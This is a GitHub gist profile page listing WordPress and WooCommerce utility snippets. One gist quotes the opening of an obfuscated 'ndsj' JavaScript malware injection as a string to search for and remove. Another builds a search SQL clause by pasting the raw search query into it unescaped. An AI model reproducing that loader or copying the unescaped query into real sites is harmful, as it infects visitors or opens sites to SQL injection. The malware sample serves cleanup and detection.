Skip to content

Instantly share code, notes, and snippets.

View Jany-M's full-sized avatar
🎯
Focusing

Jany Martelli Jany-M

🎯
Focusing
View GitHub Profile
@Jany-M
Jany-M / wp-shambix_del_thumbs_bulk_by_year.php
Created June 1, 2025 00:45
[WP] WordPress utility for cleaning up generated image variations (thumbnails) garbage in bulk, and for regenerating thumbnails for specific images. With every deletion or regeneration, it also updates the attachment metadata in the database to remove references to deleted variations.
<?php
/*
WordPress utility for cleaning up generated image variations (thumbnails) in bulk, in a wp-content/uploads/{year} directory (all months), and for regenerating thumbnails for specific images.
With every deletion or regeneration, it also updates the attachment metadata in the database to remove references to deleted variations.
Drop the file in the ROOT of your website (not in plugins) and access it via browser directly after you have logged into your WordPress dashboard first. It only works for administrator users.
ALWAYS backup your database AND files before using it. Delete the file after use.
Made to work on WP Engine, but should work on any host.
@Jany-M
Jany-M / wp_common_hack_strings.js
Last active April 14, 2023 17:55
[WP] WordPress common Javascript hack strings
// Common JS strings injected in all core, themes and plugins .js files (at the very end) - Use String Locator plugin and replace with empty space and/or use Force Reinstall plugin to reinstall all plugins - Remember to reinstall WP core files too
// Look for these plugins and remove them: Core, Core Stub
// Look for these themes and remove them: Classic
// Want to dig deeper? https://0x1.gitlab.io/security/Malware-Analysis-Tools-List/
// 1
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,Http
@Jany-M
Jany-M / wp_include_terms_in_search_wpml_compatible.php
Last active June 6, 2021 16:16
[WP] Include terms in WordPress standard search results + WPML compatibility
<?php
function custom_search_where($where){
global $wpdb;
if (is_search() && get_search_query())
$where .= "OR ((t.name LIKE '%".get_search_query()."%' OR t.slug LIKE '%".get_search_query()."%') AND {$wpdb->posts}.post_status = 'publish')";
// WPML
if (function_exists('icl_get_languages')) {
@Jany-M
Jany-M / php-pools.md
Created March 17, 2020 17:05 — forked from holmberd/php-pools.md
Adjusting child processes for PHP-FPM (Nginx)
@Jany-M
Jany-M / wc_dynamic_saleprice.php
Last active July 6, 2023 10:42
[WP][WooCommerce] Calculate sale price dynamically / programmatically based on taxonomy term custom field % (also works for Facebook Catalog feed)
<?php
// The discount is set through a term meta 'sale_value' associated to the product, so that product regular or sales prices never need to changed manually
// The script also assumes the use of ACF, through get_field()
// BACKEND (Product list, FB feed)
function custom_dynamic_sale_price( $sale_price, $product ) {
$id = $product->get_id();
$tax = get_the_terms($id,'product_cat');
$regular_price = wc_format_decimal( $product->get_price() );
@Jany-M
Jany-M / google_map_api3_multiple_locations_infowindow_with_html_gallery.js
Last active February 17, 2020 16:30
Google Maps API3 - Multiple markers and Infowindow with custom content and gallery, using Geocode
@Jany-M
Jany-M / remove_admin_menu_items.php
Created December 17, 2019 16:19
[WP] Edit WordPress admin menu (backend) - Remove items/pages and sub-items/sub-pages, including Customizer
<?php
// Remove items from menu for Editors
function remove_admin_menu_items() {
if(current_user_can('editor') && !current_user_can('administrator')) {
// Remove menu items
// Tools
remove_menu_page( 'tools.php' );
@Jany-M
Jany-M / mu_loop.php
Last active January 19, 2022 22:00
[WP MU] Shortcode for custom loops between different blogs - For WordPress Multisite MU
<?php
// This is a work in progress, but it works fine
// Requires custom functions & libraries not present in the script (eg. Swiper)
// Adapted from my Visual Composer custom module (same purpose) https://gist.github.com/Jany-M/7a94e2edc04969dcded247ff99a15088
// Doesn't play well with WPML, for now
function shambix_shortcode_mu_posts($atts, $content = null ) {
// Let's compare parameters with defaults
@Jany-M
Jany-M / vc-mu_loop.php
Last active April 10, 2021 00:24
[WP] Visual Composer custom query loop block / module, for WordPress Multisite
<?php
// There's also a standalone version, no Visual Composer required, purely as a shortcode here https://gist.github.com/Jany-M/d3014a7039c884a8bbd8e8271cfcd982
if( class_exists( 'WPBakeryShortCode' ) && !class_exists( 'vcMUloop' ) ) {
class vcMUloop extends WPBakeryShortCode {
function __construct() {
add_action( 'init', array( $this, 'vc_multisite_mapping' ) );
@Jany-M
Jany-M / woocommerce_custom.php
Last active June 6, 2021 16:14
[WP][WooCommerce] Add SKU next to Variation ID in Admin Metabox
<?php
// Add SKU next to variation ID
function display_sku_next_to_var_ids() {
?>
<script type="text/javascript">
jQuery(function($) {
"use strict";
$(document).on('woocommerce_variations_loaded', function(event) {
var id = -1;
$('.woocommerce_variation.wc-metabox').each( function(index, elem) {